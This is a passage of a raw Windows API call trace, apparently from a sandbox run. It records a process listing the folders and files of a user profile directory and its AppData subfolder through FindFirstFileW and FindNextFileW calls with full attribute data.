dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0217.318] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0217.319] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0217.319] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0217.319] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf532ee3b, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf532ee3b, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0217.319] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf532ee3b, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf532ee3b, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0217.319] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9ea10) returned 1 [0217.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e9d0) returned 1 [0217.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9eae0) returned 1 [0217.320] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX", nBufferLength=0x105, lpBuffer=0x1dc9e5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX", lpFilePart=0x0) returned 0x15 [0217.320] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\*"), lpFindFileData=0x1dc9e7f0 | out: lpFindFileData=0x1dc9e7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce179de, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x84ac775d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84ac775d, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.320] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ce179de, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x84ac775d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84ac775d, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.320] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0217.320] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0217.321] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0217.321] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0217.321] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xd7e2dd29, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xd7e2dd29, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0217.321] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf55efa29, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf55efa29, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0217.321] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436bc315, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436bc315, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0217.321] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0217.322] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437c7194, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437ed538, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0217.322] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0217.322] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf51d96fc, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf51d96fc, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0217.322] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d374e80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d374e80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d374e80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0217.322] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0217.322] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x3ce3dbd0, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2eb12999, ftLastAccessTime.dwHighDateTime=0x1d99d0a, ftLastWriteTime.dwLowDateTime=0x2eb12999, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x180000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0217.322] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d2dc444, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d2dc444, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d2dc444, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x5c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0217.323] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d2dc444, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d2dc444, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d2dc444, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x90000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0217.323] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d2dc444, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d2dc444, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x63434853, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0217.323] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d3026e1, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d3026e1, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6340e659, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0217.323] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d3026e1, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d3026e1, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6340e659, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0217.323] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0217.324] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x84ac775d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x84aeda3c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x84aeda3c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0217.324] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf52702d7, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf52702d7, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0217.324] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0217.324] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0217.324] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0217.324] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43695fb2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0217.324] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0217.325] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0217.325] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0217.325] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf532ee3b, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf532ee3b, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0217.325] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.325] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9ea10) returned 1 [0217.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e9d0) returned 1 [0217.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0217.325] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData", lpFilePart=0x0) returned 0x1d [0217.326] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5cb0 [0217.326] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d39b021, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d39b021, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.326] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x50b344cd, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x50b344cd, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0217.326] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb529ceaa, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0217.327] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf5afc879, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf5afc879, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0217.327] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, 